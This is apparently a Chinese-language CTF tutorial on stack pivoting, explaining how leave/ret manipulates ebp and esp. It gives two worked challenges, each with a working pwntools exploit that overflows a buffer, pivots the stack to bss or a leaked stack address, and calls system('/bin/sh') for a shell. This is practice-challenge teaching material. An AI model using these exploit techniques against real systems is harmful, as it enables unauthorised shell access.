前言
栈迁移同属于栈溢出的一种技巧
由于32与64的调用基本是类似的,在理解32位后64位的利用较为简单,利用流程主要是多了个对csu_init函数的使用(不知道这是啥的自行学习ret2csu,检验而至这个函数可以实现前三个函数调用寄存器的内容控制),所以以下主要基于32位小端序进行讲解
其原因主要来自c的函数调用机制的一些特点。
因为栈迁移和函数调用这难以分割的关系,栈溢出的根本原理也基于此,所以我在这里简要讲解以下c语言的函数调用过程。重点在于leave ret,这两条汇编命令
考虑到一些因素,这里对leave,ret两条命令简述:
leave由几个gadget(代码片段)组成
分别是 mov esp,ebp pop ebp
ret即 pop rip
目录
函数调用过程
在一个可执行文件中,基本上都会存在main函数以下的子函数被调用的情况(main函数本身也是一个调用),而一个文件的运行,需要调用到一段内存空间,其中的一部分也即栈空间。倘若程序使用栈空间,不恢复,一直往低地址不断的生长,那当函数调用次数一多,栈空间会变得非常大才能满足程序运行的要求,这当然是不合理的。所以函数在使用了栈空间后,需要对栈空间进行恢复。
程序在调用子函数后会将esp指针的指向像上增长所需数量,作为子函数的堆栈使用空间,而ebp栈底保存了父函数的栈底,ebp再往下就是调用函数正常的返回地址
需要知道的是,esp,ebp实际上都是存的地址,图示ebp的位置存的是复函数栈底的地址,最顶上那个数据也不是esp的数据,esp寄存器此时存的数据是栈顶此时的绝对地址,因此指向的了栈顶(和c的指针类似),此图主要是为了演示各关键数据的相对位置。
ebp我们在basic rop(基础栈溢出)中常常是不考虑他该放什么的,主要是将retadd部分覆盖为有效数据。
但在栈迁移中,ebp位置所放的就是关键。
前面讲到,leave ret 是恢复栈的关键,留心你也可以ida每一个子函数的末尾看见它,那么它对应的gadget在程序执行流中具体是怎样实现恢复堆栈的呢,下面通过示意图的方式讲解。
这是我们假设的某个程序执行状态的切片,子函数已经调用完毕,已经准备执行leave ret了
mov esp,ebp
前面讲到,ebp,esp实际上都是存的地址,因此将ebp中的地址数据赋到esp中就可以让esp此时也指向这个地方
pop ebp
esp指向的数据弹入ebp,ebp中存的数据改变,因而指向了父函数的栈底,又由于pop指令除了弹出数据外还会将esp的指向下移,所以esp此时指向了函数的正常返回地址
ret (pop eip)
eip即程序执行时实时运行的代码的指向寄存器,esp再下移一位,栈空间是连续向上生长的,至此,子函数调用结束。
程序举例
以上描述可能会比较抽象,这里以一个简单程序为实例:
程序功能很简单,主要是起到一个栈空间的演示
几根红线分别标注的是ebp,esp,eip此时存储的内容,可以发现都是地址,绿色箭头表示当前程序的执行流,此时正准备调用test函数,记住此时 ebp的内容是0xffffce68
程序通过leave ret 的一个逆过程,使ebx的父栈底地址存入子栈底,并将ebp指向这个新的地址,
可以发现如前面所说,ebp中的内容变为了新栈底的地址,但此栈地址存储的内容正是我先前强调的0xffffce68
子函数执行过程略
可以看到子函数调用完毕,准备返回
在执行完leave后,ebp重新指向父函数的调用地址0xffffce68,esp下移,指向main+57(57是对于main函数的相对偏移,表示的是main函数中代码段的的一个地址,此处就是main函数中调用完test后该返回的地址)
子函数调用完毕,父函数栈空间恢复完毕
相信到这里看师傅应该大致了解了leave ret具体是什么了,那么我们该怎样利用呢?
栈迁移利用原理讲解:
这里假设一个情况,有一个一个main的栈空间此时我们只能溢出恰好把返回地址覆盖掉,假如我们要执行system(“/bin/sh”)就会出现无法打入参数的情况(毕竟要在ret后还加入调用函数的参数)
这里就需要操控esp的指向
当只有一个leave ret时,可以发现只有ebp在执行后会跳到我们我们写入的ebp,esp在执行完ret后只会到ret地址指向的下一个位置
那我们要在retadd的位置也写上leave ret呢?可以自己先在纸上或者什么上自己画画栈空间想想会发生什么
那么leave后esp就可以指向我们能控制的那个ebp往下一个位置, 而ret就会把他当做返回地址弹入eip
这样有什么用处呢?
最基本的,假如我们把ebp指向指回我们输入的数据的上端,那么就可以绕开rbp后面才是ret的这个限制,可以在上面就编写编写返回地址,构造参数之类的
题目举例:
(因为并不是wp,所以就不按照格式写了)
1.攻防世界 format2
可以发现有canary
ida:
(ctrl f 找一下main)
可以发现是这么依托,但是实际上并没有canary
canary的识别
为什么这么说,因为在当前函数调用并没有一个多的没用使用却又被申请的变量,比如下面这个,它在栈空间对应
在汇编中它出现了,在stack check之前调用来验证,所以也就是那个canary
decode那个函数就是把解码后的东西放进v5,返回解码后的长度
所以也就是进行了base64解码,如果解码后的长度大于12,就不能通过,也就是我们的payload的解码结果不能超过12个字节
可能会有师傅看到base64的解码比较不解,实际上不影响,实际上也就是我们发送的数据比之前的多了个加密的步骤。
另外留意一些input实际上是存bss段里的,可以全局调用
往后看,后面的else是执行了一次拷贝,(v5放v 7个长度的到input中)
然后调用了auth
溢出点就在这里
correct里是这样
可能会有一个问题,我们不是只能覆盖到ebp吗为什么可以栈迁移
因为我们在auth函数中,每一个函数调用完了都会有leave ret,而这里执行完了auth的返回值已经被固定了,所以不可能触发correct
所以完了直接就是main的 leave ret,自然也就凑齐了两个leave ret
那前面那八个字节会不会小了点呢,足够了
我们前面说过一个结论,当两个lr执行后 ,ip会指向写入rbp处地址往后的第一个帧(每4字节一帧(32bit))上的地址,因为有完整的getshell代码段,所以实际上就是最基本的ret2text(往栈里面放sh参数,然后调用)
因为我们输入的payload解码后是放input,所以我们写input的地址
所以逻辑上来说,这道题我们就是把“栈“”迁移到了bss上
payload:
import base64
from pwn import *
#p=remote('61.147.171.105',55599)
#p=process("./9eb304f8cf4641339ef4fd4b0f204b86")
p=gdb.debug('./9eb304f8cf4641339ef4fd4b0f204b86')
sys_addr=0x08049284 #text段
input_addr=0x0811EB40
payload=b'aaaa'+p32(sys_addr)+p32(input_addr)
p.sendline(base64.b64encode(payload))
p.interactive()
2.buuctf ciscn_2019_es_2
直接调用vul(函数)
此题没有现成的代码段,但是有system
这个sys是echoflag,并不会回弹flag给你,只会打印一个“flag”,所以我们用这个函数就行了
这个vul函数会执行两次读入,两次都刚好溢出至ret
而s又足够大,所以部署一个完整的system sh的调用栈空间就行了
栈空间如下
但是呢,这里还有一个问题,虽然这题没有pie,但是实际上每次函数调用的栈地址肯定是有差别的,我们需要泄露栈的地址
这里的第一个输入为我们提供了便利,%s是遇到/x00结束,read会自动存分隔符,但当把空间打满他就存不了了,打印就会继续往下,我们只需要截取rbp那一部分即可,所以打印到那也无所谓
用gdb调一下算出第二个read时与泄露地址的距离
发现是
rbp:0xff9a76d8
read:oxff9a76a0
所以偏移就是6db-6a0=0x38
sh字符串的存储位置:在前面正好是0x10,所以就是0x28
payload:
from pwn import*
#a=remote("node3.buuoj.cn",)
p=process("ciscn_2019_es_2")
#context(arch='i386',os='linux',log_level='debug')
p=gdb.debug('./ciscn_2019_es_2')
elf=ELF('./ciscn_2019_es_2')
sys=elf.symbols['system']
leave_ret=0x08048562
p.recvuntil("Welcome, my friend. What's your name?")
payload=b'a'*0x20+b'b'*8#b作为标识符
p.send(payload)
p.recvuntil("bbbbbbbb")
ebp=u32(p.recv(4))
payload2=b'a'*4+p32(sys)+p32(0xaa)+p32(ebp-0x28)+b"/bin/sh"
payload2=payload2.ljust(0x28,b'\x00')#因为前面的数据并不是直接对齐,所以用ljust把后面填满
payload2+=p32(ebp-0x38)+p32(leave_ret)
p.send(payload2)
p.interactive()
另外你可能会想
这题不是也在子函数里面,不也直接返回main然后接lr吗
虽然的确是回到main,但由于ecx保存了之前的ebp所以在main退出时就发生了截断,因此如果不带一个lr没有办法getshell
ida:
gdb: